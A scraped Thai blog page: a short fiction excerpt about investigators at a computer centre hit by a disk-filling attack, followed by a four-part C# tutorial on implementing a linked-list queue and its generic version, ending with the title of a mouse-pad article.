“ศูนย์คอมพิวเตอร์นี้ต่อเชื่อมกับอินเตอร์เน็ตใช่ไหมครับ?” สุนทรถามขณะที่ชนกพรนำขึ้นลิฟต์ และกดปุ่มไปยังชั้นบนสุดของอาคารรูปโดม

“ใช่ค่ะ เราใช้อินเตอร์เน็ตเชื่อมต่อกับศูนย์วิจัยที่เจนีวา บูดาเปส โตเกียว และ บอสตัน เพื่อแลกเปลี่ยนไฟล์ และรับส่งอีเมล นอกจากนั้นเรายังมีเว็บเซอฟเวอร์เพื่อโฮสต์เว็บไซต์ของศูนย์ฯ เนื้อหาส่วนที่เปิดต่อสาธารณชนเป็นสเตติกทั้งหมด (static ไม่มีส่วนเป็นพลวัต) แต่ในส่วนอินทราเน็ตเรามีเว็บเอพลิเกชันที่พัฒนาขึ้นเองเพื่อการใช้งานภายใน”

ประตูลิฟต์เปิดออกเผยให้เห็นห้องโถงขนาดใหญ่มีทรงกลม หลังคาโค้ง กำแพงรอบด้านเป็นกระจก เมื่อมองไปทางทิศเหนือเห็นอาคารอื่นๆ ทิศใต้เป็นภูเขา ทางทิศตะวันออกเป็นทิวทัศน์ของทะเลจนสุดสายตา ชนกพรเดินนำทั้งสองผ่านคอกทำงานที่ส่วนมากว่างเปล่าเพราะยังไม่ถึงเวลาทำงาน เดินตัดไปยังพื้นที่จุดศูนย์กลางของห้องซึ่งเป็นยกพื้นรูปวงกลม บนนั้นมีแผงควบคุมและจอภาพขนาดใหญ่จำนวนมาก

“ไอ้นี่อะไรกันครับ” สุนทรชี้ไปยังจอภาพขนาดใหญ่

“จอแสดงสถานะของซุปเปอร์คอมพิวเตอร์ค่ะ” ชนกพรตอบ “เรามีซุปเปอร์คอมพิวเตอร์สามตัว คืออัลฟา เบตา และแกมมา ซุปเปอร์คอมพิวเตอร์แต่ละตัวประกอบขึ้นจากคอร์ทูดูโอจำนวนหนึ่งร้อยห้าสิบโหนด ใช้ระบบปฏิบัติการ Windows 2000 อัลฟาและเบตาถูกใช้โดยนักวิจัยในศูนย์นี้ ส่วนแกมมาจะเชื่อมโยงกับซุปเปอร์คอมพิวเตอร์ของศูนย์อื่นๆ อีกสี่แห่ง”

“ช่วยสรุปลักษณะการโจมตีให้ฟังหน่อยได้ไหมค่ะ?” ใจทิพย์ถามหลังจากนั่งลงตามคำเชื้อเชิญ

“ได้ค่ะ เมื่อคืนนี้เวลาประมาณยี่สิบสามนาฬิกา โปรแกรมเฝ้าระวังส่งสัญญาณแจ้งเตือนฮาร์ดดิสก์ใกล้เต็มของโหนดยี่สิบในกลุ่มเบตา ผลการตรวจสอบพบว่าเกิดไฟล์ขนาดใหญ่ที่ไม่ใช่ไฟล์ระบบ หลักจากนั้นห้านาทีเหตุการณ์เดียวกันก็เกิดขึ้นกับโหนดอื่น และลุกลามไปหมดทั้งเครือข่าย”

“จากนั้นคุณทำอย่างไรครับ?” สุนทรถาม

“ดิฉันตัดระบบทั้งหมดออกจากอินเตอร์เน็ตแล้วแจ้งผู้บังคับบัญชา”

“เข้าใจละ หลังจากนั้นคุณทำอย่างไรต่อไปอีกครับ”

“ไม่ได้ทำอะไรเลย เพราะตามระเบียบจะต้องรอให้พนักงานสืบสวนเข้ามาตรวจสอบก่อนค่ะ”

หน้าแรก สารบัญ เกี่ยวกับบล็อกนี้ เกี่ยวกับผู้เขียน

 

คิวน่ารักเพราะสร้างจากลิงค์ลิสต์ [ตอน 4]

สร้างคิวที่เพิ่ม-ลดขนาดได้อย่างมีพลวัต

และเป็นเจนเนอริกสไตล์ OOP

บทความโดย : ลาภลอย วานิชอังกูร (laploy.com)

โปรแกรมทดสอบ

เมื่อนิยามคลาสครบแล้วก็พร้อมนำมาสร้างออพเจ็กต์ได้ ต่อไปเราจะทดสอบการทำงานของคิว คลาสที่ใช้ทดสอบชื่อ Program มีสมาชิกสามตัวดังที่เห็นในโค้ด

รูป 010 : คลาส Program

 

Main คือเมธอดที่จะทำงานโดยอัตโนมัติเมื่อโปรแกรมเริ่มต้น ภายใน Main ไม่มีโค้ดใดๆ นอกจากโค้ดรียกใช้งานเมธอดสองตัว คือ TestLinkedList ซึ่งทำหน้าที่ทดสอบลิงค์ลิสต์ และ TestQueueLinkedList ทำหน้าที่ทดสอบคิวที่สร้างจากลิงค์ลิสต์

รูป 011 : เมธอด TestLinkedList และ TestQueueLinkedList

 

บรรทัดที่ 17 ทำหน้าที่สร้างออพเจ็กต์ชื่อ myList จากคลาส LinkedList ที่เรานิยามไว้ บรรทัดที่ 18 ถึง 19 นำข้อมูลมาเข้าคิวสามจำนวน คือ 5,6 และ 7 บรรทัด 22 เรียกเมธอด DisplayNode ซึ่งจะแสดงข้อมูลในคิวทั้งหมด บรรทัด 22 เรียกเมธอด DisplayNodeReverse แสดงข้อมูลในคิวทั้งหมดแบบเรียงย้อนจากหลังไปหน้า บรรทัด 24 ลบโหนดทุกโหนดในคิว บรรทัด 25 เรียกเมธอด DisplayNode ซึ่งจะแสดงข้อมูลในคิวทั้งหมดอีกครั้ง

ต่อไปเราจะตรวจสอบว่า QueueLinkedList ทำงานถูกต้องหรือไม่ บรรทัดที่ 30 ทำหน้าที่สร้างออพเจ็กต์ชื่อ myQ จากคลาส QueueLinkedList ที่เรานิยามไว้ บรรทัดที่ 31 ถึง 33 นำข้อมูลมาเข้าคิวสามตัว บรรทัดที่ 34 กำหนดค่าเริ่มต้นให้ตัวแปร x บรรทัดที่ 35 ถึง 39 คือการทำงานวนซ้ำด้วยคำสั่ง while ระหว่างวนซ้ำเราจะออกคิวด้วยคำสั่งในบรรทัดที่ 37 และแสดงผลบนจอภาพด้วยคำสั่งบรรทัดที่ 38 หากออกคิวจนข้อมูลหมดคิวแล้ว ค่า x จะกลายเป็น -1 การวนซ้ำจะหยุดลง ผลลัพธ์จากการทำงานของโปรแกรมทดสอบจะเป็นดังนี้

รูป 012 : ผลลัพธ์จากการทำงานของคลาส Program

 

สร้างคิวด้วยลิงค์ลิสต์แบบเจนเนอริก

คลาสลิงค์ลิสต์ที่เรานิยามไว้มีข้อเสียคือ ใช้งานกับข้อมูลได้เพียงชนิดเดียว (เลขจำนวนเต็ม) หากต้องการให้ใช้ได้กับข้อมูลทุกชนิดเราต้องเปลี่ยนชนิดข้อมูลให้เป็นเจนเนอริก แต่ไม่จำเป็นต้องนิยามขึ้นเอง ผู้สร้างดอนเน็ตไลบรารีได้เตรียมคลาสลิงค์ลิสต์แบบเจนเนอริกมาให้เรียบร้อยแล้ว อยู่ในเนมสเปส Collection และ Collection.Generic

เราจึงนิยามคลาส QueueLinkedList แบบเจนเนอริกได้โดยการเขียนโค้ดเพียงไม่กี่บรรทัด

รูป 015 : คลาส QueueLinkedList แบบเจนเนอริก

 

บรรทัด 13 คำว่า <GenericType> เป็นคำที่ผู้เขียนตั้งขึ้นเอง ทำหน้าที่ประกาศว่าคลาสนี้เป็นเจนเนอริก (จะเปลี่ยนไปใช้ชื่ออื่นแทนก็ได้ เช่น <T>) บรรทัด 15 สร้างออพเจ็กต์ลิงค์ลิสต์แบบเจนเนอริก ในเมธอด Enqueue จะเห็นว่ามีเพียงบรรทัดเดียว อาศัยการเรียกใช้เมธอด AddLast ซึ่งทำหน้าที่นำโหนดใหม่ไปใส่ท้ายลิสต์ ส่วนการออกคิว บรรทัด 22 ตรวจสอบว่าคิวว่างเปล่าหรือไม่โดยใช้เมธอด Count ที่ให้ผลลัพธ์เป็นจำนวนโหนดในลิงค์ลิสต์ หากว่างเปล่า จะทำคำสั่ง return default แล้วจบการทำงานไป หากมีโหนด โปรแกรมจะไปทำงานบรรทัดที่ 23 เพื่ออ่านค่าจากด้านหน้าสุดของคิว แล้วลบโหนดนั้นในบรรทัดที่ 24

 

โปรแกรมทดสอบ

เมื่อนิยามคลาสครบแล้วก็พร้อมนำมาสร้างออพเจ็กต์ได้ ต่อไปเราจะทดสอบการทำงานของคิว คลาสที่ใช้ทดสอบชื่อ Program เหมือนเดิม คลาสนี้มีสมาชิกสามตัวดังที่เห็นในโค้ด

รูป 017 : คลาส Program

 

ภายใน Main ไม่มีโค้ดใดๆ นอกจากโค้ดที่เรียกเมธอดสองตัวคือ TestWithInt ทำหน้าที่ทดสอบคิวโดยใช้เลขจำนวนเต็ม และ TestWithString ซึ่งจะทดสอบคิวด้วยตัวอักษร

รูป 023 : เมธอด TestWithInt และ TestWithString

 

ในเมธอด TestWithInt บรรทัดที่ 18 ถึง 20 นำข้อมูลมาเข้าคิวสามจำนวน คือ 12,13 และ 14 บรรทัด 24 เรียกเมธอด Dequeue ซึ่งจะนำข้อมูลหน้าคิวออกมา แล้วแสดงผลดัวยคำสั่งในบรรทัดที่ 25 ส่วนเมธอด TestWithString บรรทัดที่ 32 ถึง 34 นำข้อมูลมาเข้าคิวสามจำนวน คือ “hello”, “this is” และ “Queue!” บรรทัด 38 เรียกเมธอด Dequeue ซึ่งจะนำข้อมูลหน้าคิวออกมา แล้วแสดงผลดัวยคำสั่งในบรรทัดที่ 39

ผลลัพธ์ที่ได้จะเป็นดังนี้

รูป 022 : ผลลัพธ์จากการทำงานของ Program

 

จะเห็นว่าเรานิยามคลาส QueueLinkedList แบบเจนเนอริคไว้เพียงคลาเดียว แต่สามารถนำไปใช้กับชนิดข้อมูลได้หลายแบบ

 

สรุปเรื่องการสร้างคิวจากลิงค์ลิสต์

ในการพัฒนาซอฟต์แวร์ไม่ว่าจะทำเกม ระบบปฏิบัติการ หรือโปรแกรมใช้งานทางธุรกิจ โครงสร้างข้อมูลแบบคิว เป็นโครงสร้างข้อมูลพื้นฐานที่เราต้องใช้อยู่เสมอ บทความนี้นำเสนออัลกอริทึมของคิว พร้อมโค้ดและคำอธิบายโดยละเอียด ท่านสามารถนำคลาสที่นิยามในบทความนี้ไปบูรณาการกับระบบงานของท่านได้ทันที ท่านสามารถดาวน์โหลดซอร์สโค้ดของบทความนี้ได้จากเว็บไซต์ laploy.com (เลือกหัวข้อดาวน์โหลด ไฟล์ชื่อ QueueLinkedList.zip )หากท่านมีข้อสงสัยใดๆ โปรดใส่คำถามไว้ที่กระดานถาม-ตอบซึ่งอยู่ในเว็บไซต์เดียวกัน

หน้าแรก สารบัญ เกี่ยวกับบล็อกนี้ เกี่ยวกับผู้เขียน

 

คิวน่ารักเพราะสร้างจากลิงค์ลิสต์ [ตอน 3]

สร้างคิวที่เพิ่ม-ลดขนาดได้อย่างมีพลวัต

และเป็นเจนเนอริกสไตล์ OOP

บทความโดย : ลาภลอย วานิชอังกูร (laploy.com)

ในบทความตอนที่แล้วผู้เขียนนำเสนอวิธีสร้างคิวด้วยอาร์เรย์ไปแล้ว แต่คิวที่สร้างจากอาร์เรย์มีปัญหาอยู่อย่างหนึ่ง คือเมื่ออาร์เรย์เต็มแล้วจะขยายไม่ได้ ทำให้ขาดความยืดหยุ่น คงจะดีไม่น้อยหากเราสร้างคิวจากลิงค์ลิสต์ เพราะลิงค์ลิสต์เป็นโครงสร้างข้อมูลที่เรายืด-หดได้ตามใจชอบ

บทความนี้มีจุดมุ่งหมายเพื่อเสนอวิธีเขียนโปรแกรมแบบ OOP แสดงการทำงานของโครงสร้างข้อมูล แสดงตัวอย่างอัลกอริทึม แสดงวิธีเขียนโค้ดด้วยภาษา C# แสดงการเขียนโปรแกรมแบบเมนเนจโค้ด และแสดงวิธีสร้างคิวด้วยลิงค์ลิสต์แบบเจนเนอริค

ฉบับที่แล้วผู้เขียนได้ทบทวนความจำเรื่องคิว และอธิบายแนวคิดในการสร้างคิวจากลิงค์ลิสต์ไปแล้ว นอกจากนั้นยังแสดงโครงสร้างของโปรเจ็กต์ QueueLinkedList แสดงวิธีนิยามคลาส Node เพื่อนำไปสร้างเป็นออพเจ็กต์สำหรับเก็บข้อมูลภายในลิงค์ลิสต์ โค้ดบางส่วนของคลาส LinkedList และวิธีเขียนโค้ดเพื่อทำหน้าที่เข้าคิว

ในบทความตอนนี้ผู้เขียนจะแสดงโค้ดและหลักการทำงานส่วนที่เหลือ คือส่วนออกคิว และแสดงโปรแกรมทดสอบ ซึ่งจะนำคลาส QueueLinkedList มาสร้างเป็นออพเจ็กต์เพื่อดูว่าคลาสที่เรานิยามไว้ทำงานได้ถูกต้องหรือไม่ และตอนท้ายของบทความผู้เขียนจะแสดงวิธีนิยามคลาสสร้างคิวจากลิงค์ลิสต์ที่เป็นเจนเนอริก ที่สามารถทำงานกับข้อมูลได้ทุกชนิด

 

การออกคิว

การออกคิวหรือ dequeue คือการลบโหนดหน้าสุดออกจากคิว แย่หน่อยที่ในคลาส LinkedList ไม่มีโค้ดอะไรใกล้เคียงการออกคิวเลย เราจึงต้องเขียนโค้ดขึ้นใหม่ทั้งหมด

 

รูป 009 : เมธอด Dequeue และ IsEmpty

 

เมธอด Dequeue เริ่มทำงานโดยตรวจสอบว่าคิวว่างเปล่าหรือไม่ (บรรทัดที่ 19) เราเขียนเมธอดตรวจสอบชื่อ IsEmpty (บรรทัดที่ 35-41) เตรียมไว้แล้ว เมธอดนี้มีหน้าที่ตรวจสอบว่า front เป็น null หรือไม่ หากใช่ แสดงว่าในคิวไม่มีโหนดเหลืออยู่เลย

เพื่อให้ง่ายแก่การทำความเข้าใจตอนไล่โปรแกรม ผู้เขียนจะสมมุติว่าขณะนี้ในคิวมีโหนดอยู่สามโหนดดังนี้

รูป 020 : สภาพของคิวเมื่อมีข้อมูลสามโหนด โปรดสังเกตว่าตัวชี้ front ตอนนี้ชี้โหนด 1 และ back ชี้โหนด 3

 

เนื่องจากขณะนี้ในคิวมีโหนดอยู่ ตัวชี้ front จึงไม่เป็น null แต่จะมีค่าเท่ากับโหนด 1 ผลลัพธ์คือเมธอด IsEmpty จะคืนค่ากลับมาเป็น false โปรแกรมจะไปทำงานบรรทัดที่ 21

แต่ถ้าสมมุติว่าตอนนี้ในลิสต์ไม่มีโหนดเหลืออยู่เลย คือเราดึงข้อมูลออกคิวไปหมดแล้ว เมื่อโปรแกรมทำงานบรรทัดที่ 19 เมธอด IsEmpty พบว่าไม่มีโหนดแล้ว ค่า front จะกลายเป็น null มันจะคืนค่ากลับมาเป็น true ทำให้โค้ดบรรทัดที่ 20 ทำงานเพื่อส่งค่า -1 ไปให้โค้ดที่เรียกใช้มัน (ค่า -1 เป็นเครื่องหมายบอกว่าไม่มีข้อมูลในคิว) และจบการทำงานของเมธอด Dequeue เพียงเท่านั้น

ในกรณีที่ยังมีข้อมูลบรรทัดที่ 21 จะสร้างตัวแปรชื่อ retVal เพื่อเก็บค่าส่งกลับ (return value) ค่าที่เราจะส่งกลับไปคือข้อมูลในโหนดหน้าสุดของคิว (เพราะการออกคิวต้องออกทางด้านหน้าเสมอ) ซึ่งก็คือข้อมูลโหนดที่เก็บอยู่ใน front.Data นั่นเอง ดังนั้นคำสั่งบรรทัดที่ 21 จึงนำค่านี้มาไว้ใช้ส่งกลับ

คำสั่งบรรทัดที่ 22 ผู้เขียนใส่ไว้ทดสอบการทำงานตอนไล่หาความผิดพลาด (ดีบัก) ไม่ได้ใช้ประโยชน์ในเมธอดนี้ จะลบทิ้งไปเสียก็ได้

เมื่อได้ข้อมูลในการออกคิวแล้ว ขั้นตอนต่อไปเราต้องปรับเลื่อนตัวชี้หน้าคิว (front) ให้ชี้ไปยังโหนดถัดไป แต่ก่อนที่จะทำเช่นนั้นได้ เราจำเป็นต้องตรวจสอบว่าขณะนี้ภายในลิสต์ มีโหนดอยู่เพียงโหนดเดียวหรือไม่ หากเป็นเช่นนั้นเราจะต้องไม่เลื่อน front เพราะถ้าในลิสต์มีโหนดเพียงโหนดเดียว เมื่อออกคิวแล้วโหนดเดียวที่เหลืออยู่จะหายไป ในลิสต์จะไม่มีโหนดเหลืออยู่เลย จึงไม่รู้ว่าจะเลื่อน front ไปไหนได้อีก เราจึงต้องเซตค่า front ให้เป็น null เพื่อเป็นเครื่องแสดงว่าไม่มีโหนดเหลือแล้ว

คำสั่ง if บรรทัดที่ 23 ตรวจสอบว่าภายในคิว มีโหนดเหลือโหนดอยู่เพียงเดียวหรือไม่ ซึ่งทำได้โดยดูที่ตัวชี้ Next ของ front หาก Next มีค่าเป็น null แสดงว่าไม่มีโหนดถัดไปอีกแล้ว โปรแกรมจะไปทำงานบรรทัดที่ 25-26 เพื่อเซตให้ทั่ง back และ front ให้มีค่าเป็น null เพื่อเป็นเครื่องแสดงว่าขณะนี้ลิงค์ลิสต์ว่างเปล่า นั่นคือไม่มีข้อมูลเหลืออยู่ในคิวแล้ว

แต่ในตัวอย่างนี้ยังมีโหนดอยู่อีกสองโหนด คือนอกจากข้อมูลตัวที่กำลังออกคิวแล้ว ภายในคิวยังมีข้อมูลเหลืออยู่อีกสองตัว โปรแกรมจะไปทำงานบรรทัดที่ 30 ซึ่งทำหน้าที่ปรับเลื่อน front ให้ชี้ไปยังโหนดถัดไป เนื่องจากตอนนี้ภายในลิสต์มีโหนดอยู่สามโหนด และค่าของ front.Next เป็นโหนด 2 (ดูภาพคิวที่มีข้อมูลสามโหนด) เมื่อทำคำสั่งบรรทัดที่ 30 front จะกลายเป็นโหนด 2 เมื่อเป็นเช่นนั้น front.Next อันใหม่จึงกลายเป็นโหนด 3

บรรทัด 31 เซต front.Previous เป็น null ซึ่งมีผลให้โหนด 2 กลายเป็นโหนดแรกของคิว เมื่อเมธอด Dequeue ทำงานจบคิวจะมีสภาพดังนี้

รูป 021 : สภาพของคิวเมื่อนำข้อมูลออกไปหนึ่งโหนด

 

โปรดสังเกตว่าในภาษา C# การออกคิวไม่จำเป็นต้องเขียนโค้ดเพื่อลบโหนดไปจริงๆ เพราะเมื่อเราเลื่อนตัวชี้ previous และ next แล้ว โหนดที่ไม่ได้รับการอ้างถึงจะถูกมองว่าเป็นขยะ และกาเบจคอลเลคเตอร์จะลบโหนดนั้นให้โดยอัตโนมัติ ไม่เหมือนภาษา C++ (ในโหมด unmanaged) ที่เราต้องคอยดูให้แน่ใจด้วยตนเองว่าได้ทำลายออพเจ็กต์ที่ไม่ต้องการแล้ว


หน้าแรก สารบัญ เกี่ยวกับบล็อกนี้ เกี่ยวกับผู้เขียน

 

คิวน่ารักเพราะสร้างจากลิงค์ลิสต์ [ตอน 2]

สร้างคิวที่เพิ่ม-ลดขนาดได้อย่างมีพลวัต

และเป็นเจนเนอริกสไตล์ OOP

บทความโดย : ลาภลอย วานิชอังกูร (laploy.com)

คลาส LinkedList

รูป 004 : โครงสร้างของคลาส LinkedList

 

ผู้เขียนอธิบายคลาส LinkedList ไปโดยละเอียดในฉบับเดือนสิงหาคมแล้วเช่นกัน ดังนั้นในตอนนี้จะทบทวนเพียงย่อๆ เราจะใช้คลาส LinkedList เป็นคลาสฐาน และนิยามคลาส QueueLinkedList โดยสืบคุณสมบัติไปจากคลาสนี้ ดูในโครงสร้างของคลาส LinkedList จะเห็นว่าคลาสนี้มีสมาชิกเจ็ดตัว บรรทัดที่ 13 ฟิลด์ front ใช้เพื่อกำหนดตำแหน่งหน้าสุดในลิสต์ ถัดมาคือ back ใช้กำหนดส่วนท้ายของลิสต์

โปรดสังเกตว่าผู้เขียนเปลี่ยนแปลงเอ็กเซสโมดิฟายเออร์ของสองฟิลด์นี้ จาก private ให้เป็น protected เพราะต้องการให้เข้าถึงได้จากคลาสลูก และมีชนิดข้อมูลเป็น Node ซึ่งเป็นชนิดข้อมูลที่เรานิยามไว้ด้วยคลาส Node ส่วนเมธอด AppendNode ใช้ทำหน้าที่เพิ่มโหนดใหม่เข้าสู่ลิสต์ ยังเหมือนเดิม

 

รูป 006 : เมธอด DisplayNode ใช้แสดงข้อมูลในทุกๆ โหนด โค้ดเหมือนเดิม แต่เพิ่มเมธอด

 

DisplayNodeReverse เพื่อใช้แสดงข้อมูลทุกโหนดโดยไล่จากหลังมาหน้า

 

รูป 007 : เมธอด DestroyList ใช้เพื่อทำให้ลิสต์ว่างเปล่าโดยลบโหนดทั้งหมด ก็เป็นเมธอดที่ถูกเพิ่มขึ้นใหม่

 

คลาส QueueLinkedList

หัวใจของบทความตอนนี้คือคลาส QueueLinkedList เมื่อดูจากโครงสร้างจะเห็นว่ามีสมาชิกเพียงสามตัว คือเมธอ Enqueue ใช้ทำหน้าที่นำข้อมูลใหม่มาบรรจุลงในคิว Dequeue ทำหน้าที่ดึงข้อมูลออกจากคิว และ IsEmpty ใช้เพื่อตรวจสอบว่าภายในคิวมีข้อมูลหรือไม่

 

รูป 008 : โครงสร้างของคลาส QueueLinkedList

 

การเข้าคิว

เมื่อดูในโค้ดจะเห็นว่าเมธอด Enqueue สั้นมาก คือมีโค้ดเพียงบรรทัดเดียว เป็นคำสั่งเรียกใช้เมธอด AppendNode ของคลาสฐาน สาเหตุที่เราทำเช่นนี้ได้เพราะการเข้าคิวไม่มีอะไรมาก การทำงานเหมือนการเพิ่มโหนดเข้าสู่ลิงค์ลิสต์ตามปรกติ เราจึงไม่ต้องเขียนโค้ดอะไรเพิ่ม

 

รูป 014 : เมธอด Enqueue

 

เมธอด Enqueue รับพารามิเตอร์หนึ่งตัวเพื่อนำไปใช้เป็นอาร์กิวเมนต์ให้เมธอด AppendNode เป็นค่าที่เราต้องการนำไปใส่ในคิว โปรดสังเกตว่าผู้เขียนกำหนดให้ค่านี้เป็นเลขจำนวนเต็มเท่านั้น เพื่อความชัดเจนในการอธิบายอัลกอริทึม แต่ในการใช้งานจริงเราควรเปลี่ยนไปใช้เจนเนอริกที่จะบอกวิธีทำตอนท้ายของบทความ

 

รูป 005 : เมธอด AppendNode

 

ต่อไปเราจะมาดูการทำงานของโปรแกรมเมื่อเข้าคิว ดูในโค้ดเมธอด AppendNode สมมุติว่าโปรแกรมเพิ่งเริ่มทำงาน และคิวยังว่างเปล่า บรรทัดที่ 22 เราสร้างออพเจ็กต์ myNode เป็นโหนดใหม่ที่จะนำไปใส่ในคิว บรรทัด 23 ตรวจสอบว่าคิวว่างเปล่าหรือไม่ หากว่างเปล่า โปรแกรมบรรทัดที่ 25-26 จะทำงาน เซตค่า back และ front เป็น myNode ทั้งคู่เพราะในลิสต์มีโหนดใหม่นี้เพียงโหนดเดียว แล้วเมธอดจะจบการทำงาน ผลลัพธ์จะเป็นดังนี้

รูป 016 : ผลลัพธ์เมื่อนำข้อมูลอันแรกเข้าคิว

 

ต่อไปเราจะนำข้อมูลเข้าคิวอีกตัว คราวนี้ใส่เลข 6 ตอนนี้มีโหนดอยู่ในคิวแล้ว โปรแกรมจะทำงานบรรทัดที่ 30 เซตค่า next ของ back ให้กลายเป็น myNode ผลลัพธ์จะเป็นดังนี้

รูป 017 : ผลลัพธ์เมื่อทำคำสั่ง back.Next = myNode;

 

บรรทัดที่ 31 กำหนดค่า previous ของโหนดใหม่ให้ชี้ไปยังโหนดก่อนหน้า ผลลัพธ์จะเป็นดังนี้

รูป 018 : ผลลัพธ์เมื่อทำคำสั่ง myNode.Previous = back;

 

บรรทัด 32 ปรับเลื่อนตัวชี้ back ให้ชี้ไปยังข้อมูลตัวล่าสุดที่ถูกนำมาเข้าคิว

เรื่องการสร้างคิวจากลิงค์ลิสต์ยังไม่หมดแค่นี้ แต่หน้าเสียดายที่โควตาหน้ากระดาษมีเพียงเท่านี้ กรุณาติดตามตอนจบในฉบับหน้าครับ

หน้าแรก สารบัญ เกี่ยวกับบล็อกนี้ เกี่ยวกับผู้เขียน

 

คิวน่ารักเพราะสร้างจากลิงค์ลิสต์ [ตอน 1]

สร้างคิวที่เพิ่ม-ลดขนาดได้อย่างมีพลวัต

และเป็นเจนเนอริกสไตล์ OOP

บทความโดย : ลาภลอย วานิชอังกูร (laploy.com)

 

ในบทความตอนที่ผ่านมาผู้เขียนนำเสนอวิธีสร้างคิวด้วยอาร์เรย์ไปแล้ว แต่คิวที่สร้างจากอาร์เรย์มีปัญหาอยู่อย่างหนึ่ง คือเมื่ออาร์เรย์เต็มแล้วจะขยายไม่ได้ ทำให้ขาดความยืดหยุ่น คงจะดีไม่น้อยหากเราสร้างคิวจากลิงค์ลิสต์ เพราะลิงค์ลิสต์เป็นโครงสร้างข้อมูลที่เรายืด-หดได้ตามใจชอบ

บทความนี้มีจุดมุ่งหมายเพื่อเสนอวิธีเขียนโปรแกรมแบบ OOP แสดงการทำงานของโครงสร้างข้อมูล แสดงตัวอย่างอัลกอริทึม แสดงวิธีเขียนโค้ดด้วยภาษา C# แสดงการเขียนโปรแกรมแบบเมนเนจโค้ด และแสดงวิธีสร้างคิวด้วยลิงค์ลิสต์แบบเจนเนอริค

 

ทวนความจำเรื่องคิว

เพื่อทบทวนความจำของท่าน และเพื่อปูพื้นแก่ผู้อ่านที่ไม่ได้อ่านฉบับสิงหาคม ผู้เขียนจะขอทบทวนเรื่องคิวสักเล็กน้อย คิวคือโครงสร้างข้อมูลแบบเข้าก่อนได้ออกก่อน (First In First Out หรือ FIFO) เหมือนการเข้าคิวซื้อบัตรชมภาพยนตร์ ที่ผู้เข้าไปในคิวก่อนจะได้ออกจากคิวก่อนเสมอ ปรกติเราจะสร้างคิวจากอาร์เรย์ ซึ่งคิวจะไม่เป็นแถวตรงๆ เหมือนคิวซื้อบัตรชมภาพยนตร์ แต่เป็นจะมีลักษณะเป็นวงแหวน

การสร้างคิวคือการกำหนดตัวชี้หน้าคิว (front) และตัวชี้ท้ายคิว (back) เมื่อต้องการนำข้อมูลใหม่มาเข้าคิว เราจะนำมาใส่ไว้ท้ายคิว และปรับ back ให้ชี้ที่ข้อมูลใหม่ เมื่อต้องการนำข้อมูลออกจากคิว เราจะอ้างถึงข้อมูลที่ชี้โดย front และปรับค่า front ให้ชี้ไปยังหน่วยถัดไป การคำนวณตำแหน่งของอาร์เรย์ใช้โมดูลัส เพื่อให้ผลลัพธ์ที่ได้วนเป็นวงรอบ

 

สร้างคิวจากลิงค์ลิสต์

การสร้างคิวจากลิงค์ลิสต์ก็เหมือนการสร้างคิวจากอาร์เรย์ แตกต่างกันเพียงคิวที่สร้างจากอาร์เรย์ เราเก็บข้อมูลไว้ในหน่วยของอาร์เรย์ (array element) ส่วนคิวที่สร้างจากลิงค์ลิสต์ เราจะเก็บข้อมูลไว้ในโหนด (node) โดยเรานิยามโหนดด้วยคลาส ท่านคงยังจำได้ว่าภายในโหนดประกอบด้วยสามส่วน คือตัวเก็บข้อมูล (Data) ตัวชี้ไปโหนดก่อนหน้า (Previous) และตัวชี้ไปโหนดถัดไป (Next) คิวที่สร้างจากลิงค์ลิสต์คือโหนดที่เชื่อมโยงกันเหมือนขบวนรถไฟ ไม่ได้เป็นวงรอบอย่างคิวที่สร้างจากอาร์เรย์

รูป 013 : แสดงตัวอย่างลิงค์ลิสต์ที่มีสี่โหนด โปรดสังเกตว่า Previous จะชี้ไปยังโหนดก่อนหน้า และ Next ชี้ไปยังโหนดถัดไป ที่โหนดแรกค่าของ Previous จะเป็น null และโหนดสุดท้าย Next ก็จะเป็น null เช่นกัน

 

โซลูชัน

ผู้เขียนสร้างโซลูชันด้วยไมโครซอฟต์ วิสชวล สตูดิโอ 2005 ภายในโซลูชันมีสองโปรเจค คือโปรเจค CsharpQLinkedList แสดงการสร้างคิวโดยใช้ลิงค์ลิสต์แบบเจนเนอริกของดอตเน็ต ที่จะอธิบายตอนท้ายบทความ และโปรเจค QueueLinkedList เป็นคอนโซลเอพลิเกชัน แสดงการสร้างคิวโดยใช้ลิงค์ลิสต์ที่เรานิยามขึ้นเอง เพื่อศึกษาการทำงานภายในคิวและลิงค์ลิสต์ ซึ่งเป็นหัวใจของบทความตอนนี้

รูป 001 : โซลูชัน QueueLinkedList เมื่อดูใน project explorer ของวิสชวลสตูดิโอ

รูป 002 : แผนภูมิคลาสในโปรเจค QueueLinkedList

 

ในแผนภูมิคลาสจะเห็นคลาสและสมาชิกของคลาสทั้งสี่ คลาส Node จะเหมือนที่อธิบายไปแล้วในบทความฉบับเดือนสิงหาคม คลาส LinkedList ก็คล้ายของเดิม แต่นำมาดัดแปลงใหม่ โดยแก้ไขเอ็กเซสโมดิฟายเออร์ของฟิลด์ เพื่อให้เรียกจากคลาสลูกได้ และเพิ่มเมธอด DisplayNodeReverse และ DestroyList

คลาส QueueLinkedList คือคลาสใช้สร้างออพเจ็กต์คิวจากลิงค์ลิสต์ โปรสังเกตว่ามีลูกศรโยงไปคลาส LinkedList เพราะอินเฮียริตมา และสุดท้ายคลาส Program เป็นตัวโปรแกรมหลัก ใช้ทำหน้าที่ใช้ทดสอบการทำงานของงคิวที่สร้างจากลิงค์ลิสต์

 

คลาส Node

รูป 003 : คลาส Node

ผู้เขียนอธิบายคลาส Node โดยละเอียดไปแล้วในฉบับเดือนสิงหาคม ดังนั้นในฉบับนี้จะพูดถึงเพียงคร่าวๆ ในนิยามคลาส Node บรรทัด 13-15 ประกาศฟิลด์ชื่อ data ตัวชี้ previous และ next เมื่อคลาส LinkedList ต้องการอ่านเขียนฟิลด์เหล่านี้ จะทำผ่าน พร็อพเพอร์ตี Data, Previous และ Next เมื่อสร้างออพเจ็กต์โหนด เมธอดคอนสทรักเตอร์ (บรรทัดที่ 33 ถึง 37) จะทำงานโดยนำข้อมูลไปใส่ใน data แล้วเซตค่าของ previous และ next ให้เป็น null เพื่อเป็นเครื่องแสดงว่าไม่มีโหนดก่อนหน้าและหลัง

หน้าแรก สารบัญ เกี่ยวกับบล็อกนี้ เกี่ยวกับผู้เขียน

 

สร้าง Mouse Air Pad [ตอน2]

จะทนรำคาญผ่ามือที่ชุ่มเหงื่อไปทำไม

มาประดิษฐ์แผ่นรองเมาส์ที่มีระบบระบายอากาศกันดีกว่า

บทความโดย : ลาภลอย วานิชอังกูร (laploy.com)

ถอดแผ่นอะลูมิเนียม

